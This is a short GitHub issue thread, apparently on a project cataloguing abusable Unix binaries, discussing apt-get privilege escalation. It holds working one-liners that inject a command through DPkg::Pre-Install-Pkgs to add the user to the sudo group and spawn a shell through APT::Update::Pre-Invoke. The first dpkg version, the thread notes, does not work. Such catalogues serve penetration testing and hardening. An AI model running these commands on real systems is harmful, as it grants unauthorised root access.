Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[dpkg] priv esc #229

Closed
geekscrapy opened this issue Jun 27, 2021 · 3 comments
Closed

[dpkg] priv esc #229

geekscrapy opened this issue Jun 27, 2021 · 3 comments

Comments

@geekscrapy
Copy link

dpkg -i -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)" any_package.deb

@cyrus-and
Copy link
Member

Are you sure?

$ dpkg -o
dpkg: error: unknown option -o

@geekscrapy
Copy link
Author

Hey, my bad got messed up during testing! I was reffering to the DPkg::Pre-Install-Pkgs configuration option.

sudo apt-get install cowsay -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)"

@cyrus-and
Copy link
Member

Oh, no worries! But we already have a similar one:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants